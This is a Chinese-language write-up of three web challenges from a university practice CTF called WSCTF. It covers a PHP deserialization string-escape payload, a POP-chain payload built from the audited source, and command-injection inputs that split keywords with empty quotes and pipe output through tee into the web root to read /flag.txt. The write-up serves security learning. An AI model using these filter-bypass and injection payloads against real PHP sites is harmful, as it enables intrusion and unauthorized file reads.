WSCTF--网安卫士(练习赛)web方向write up

江苏大学盛大的十一月校赛,两道反序列化漏洞一道RCE,也是让我狠狠恶补了一下反序列化漏洞
can_u_escape

y1s1,这道题是直接照抄的B站橙子科技的一道题
链接:PHP反序列化漏洞学习_哔哩哔哩_bilibili
这道题是字符串增多逃逸的一道题,利用的是
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hake",$name);
return $name;
这里把php转换为hake的机制,具体理论可以在上面的视频中学习,下面我只给出payload
?a=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

WSCTF{9_kuai_big_bottle_ulog_tee}
can_u_know


根据题目要求,先打开shop.php

简单审计一下,发现
$buy=$_GET['buy'];
$un_buy=unserialize($buy);
所以这道题要利用到反序列化漏洞
if(isset($_GET['buy'])){
$gift1=$anotherthing;
$gift2=$otherthing;
这里把gift1和gift2赋值成了anotherthing和otherthing
所以不能直接传参使if($un_buy['onething']==$gift1 && $un_buy['twothing']==$gift2)这个条件为true
但是我们注意到这里用到了==的弱比较
所以就想到了把onething和twothing都赋值为0尝试绕过比较
payload如下
shop.php?buy=a:2:{s:8:"onething";i:0;s:8:"twothing";i:0;}
然后就成功力,这个应该是base64编码,咱们先不管,继续做下一道题
打开kfc.php

下载下来kfc.rar,发现里面就是源码
<?php
class order
{
public $start;
function __construct($start)
{
$this->start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class zhengcan
{
public $lbjjrj;
function __call($name, $arguments)
{
echo $this->lbjjrj->douzhi;
}
}
class tiandian
{
function __get($Attribute)
{
echo '';
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
echo "使用压缩包点单kfc.rar";
}
简单审计一下,猜测应该是反序列化漏洞中的pop链构造
猜测flag应该是在tiandian这个类里面输出的,要触发这里面的get方法
所以我们来仔细看看源码并尝试构造pop链
order 类
class order {
public $start;
function __destruct() {
$this->start->helloworld();
}
}
- 当
order类对象被销毁时,它的析构函数__destruct()会调用$this->start->helloworld()。 - 因此,
start必须是一个对象,并且这个对象需要支持调用helloworld()方法。
zhengcan 类
class zhengcan {
public $lbjjrj;
function __call($name, $arguments) {
echo $this->lbjjrj->douzhi;
}
}
- 如果调用了不存在的方法(如
helloworld()),会触发__call()魔术方法。 - 在
__call()方法中,试图访问$this->lbjjrj->douzhi属性。 - 因此,
lbjjrj必须是一个对象,并且最好具有douzhi属性。
tiandian 类
class tiandian {
function __get($Attribute) {
echo '';
}
}
- 当访问不存在的属性时,会触发
__get()方法。 - 触发
__get()方法后会输出flag
因此 payload如下:
kfc.php?serialize=O:5:"order":1:{s:5:"start";O:8:"zhengcan":1:{s:6:"lbjjrj";O:8:"tiandian":0:{}}}
解出结果如下

将两段字符串连接起来并用CyberChef解密,结果如下
You don't actually have a girlfriend, it's just my imaginary cyber life
真相太残酷了我要哭了QwQ
can_you_see

根据exec($url)可以知道这是一道RCE题目
看到过滤的名单中没有单引号,所以猜测可以用''空字符来绕过过滤

该回显就说明绕过过滤成功了,但是我们发现并没有回显,怎么办呢
那就可以用到 | 和 tee函数的组合拳进行解题,用tee把回显放到output.txt文件中
用如下payload进行测试:
?url=whoami | tee /var/www/html/output.txt
然后访问output.txt,发现回显成功保存在里面

接下来就简单了
?url=l''s | tee /var/www/html/output.txt
发现当前目录只有我们的txt文件和index.php
所以访问一下根目录
?url=l''s / | tee /var/www/html/output.txt

找到了flag.txt,用cat查看一下
?url=c''at /fl''ag.txt | tee /var/www/html/output.txt

win~


浙公网安备 33010602011771号